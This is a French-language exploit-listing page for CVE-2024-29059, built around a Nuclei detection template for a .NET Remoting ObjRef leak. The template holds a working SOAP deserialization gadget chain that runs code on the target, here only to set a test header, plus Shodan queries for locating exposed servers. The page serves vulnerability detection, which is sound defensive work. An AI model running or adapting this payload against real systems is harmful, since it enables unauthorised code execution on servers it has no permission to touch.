Exploit matérialisé

CVE-2024-29059

HIGH KEV

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.

Nuclei high Vérifié

Source

.NET Framework - Leaking ObjRefs via HTTP .NET Remoting

Par projectdiscovery

Comment tester cet exploit

Le template Nuclei EST le test : une règle de détection exécutable. Installez nuclei, puis lancez-le contre une cible que vous contrôlez.

nuclei -id CVE-2024-29059 -u https://your-target

Template yaml

id: CVE-2024-29059

info:
  name: .NET Framework - Leaking ObjRefs via HTTP .NET Remoting
  author: iamnoooob,rootxharsh,DhiyaneshDk,pdresearch
  severity: high
  description: .NET Framework Information Disclosure Vulnerability
  impact: |
    Attackers can exploit leaked ObjRefs to access remote objects via .NET Remoting, potentially gaining unauthorized access to application data.
  remediation: |
    Apply security patches for .NET Framework addressing CVE-2024-29059.
  reference:
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-29059
    - https://code-white.com/blog/leaking-objrefs-to-exploit-http-dotnet-remoting/
    - https://github.com/codewhitesec/HttpRemotingObjRefLeak
    - https://github.com/NaInSec/CVE-LIST
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-29059
    cwe-id: CWE-209
    epss-score: 0.98624
    epss-percentile: 0.99921
    cpe: cpe:2.3:a:microsoft:.net_framework:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: microsoft
    product: .net_framework
    shodan-query:
      - 'Server: MS .NET Remoting'
      - "server: ms .net remoting"
  tags: cve,cve2024,dotnet,microsoft,remoting,deserialization,kev,vkev,vuln

http:
  - raw:
      - |
        GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.1
        Host: {{Hostname}}
        __RequestVerb: POST
        Content-Type: text/xml

      - |
        POST {{objref}} HTTP/1.1
        Host: {{Hostname}}
        SOAPAction: ""
        Content-Type: text/xml

        <SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <a1:TextFormattingRunProperties id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/Microsoft.VisualStudio.Text.Formatting/Microsoft.PowerShell.Editor%2C%20Version%3D3.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D31bf3856ad364e35">
        <ForegroundBrush id="ref-3">&#60;ObjectDataProvider MethodName=&#34;AddHeader&#34;
          xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;
          xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;
          xmlns:System=&#34;clr-namespace:System;assembly=mscorlib&#34;
          xmlns:System.Web=&#34;clr-namespace:System.Web;assembly=System.Web&#34;&#62;&#60;ObjectDataProvider.ObjectInstance&#62;&#60;ObjectDataProvider MethodName=&#34;get_Response&#34;&#62;&#60;ObjectDataProvider.ObjectInstance&#62;
          &#60;ObjectDataProvider ObjectType=&#34;{x:Type System.Web:HttpContext}&#34; MethodName=&#34;get_Current&#34; /&#62;
          &#60;/ObjectDataProvider.ObjectInstance&#62;
          &#60;/ObjectDataProvider&#62;
          &#60;/ObjectDataProvider.ObjectInstance&#62;
          &#60;ObjectDataProvider.MethodParameters&#62;
          &#60;System:String&#62;X-Vuln-Test&#60;/System:String&#62;
          &#60;System:String&#62;{{randstr}}&#60;/System:String&#62;
          &#60;/ObjectDataProvider.MethodParameters&#62;
        &#60;/ObjectDataProvider&#62;</ForegroundBrush>
        </a1:TextFormattingRunProperties>
        </SOAP-ENV:Envelope>

    extractors:
      - type: regex
        name: objref
        part: body_1
        group: 1
        regex:
          - "(/[0-9a-f_]+/[0-9A-Za-z_+]+_[0-9]+\\.rem)"
        internal: true

      - type: dsl
        dsl:
          - x_vuln_test

    matchers:
      - type: dsl
        dsl:
          - "contains(body_1,'ObjRef')"
          - "contains(x_vuln_test,'{{randstr}}')"
        condition: and
# digest: 4a0a004730450220106f1bbac47c459ce5bd993ff786fbf671f5d78445288a9ae5b9a770cdf69cf2022100d17c0439735b30f13647961141b2c9cd3b97683b9f72cd1904165efce66442c7:922c64590222798bb761d5b6d8e72950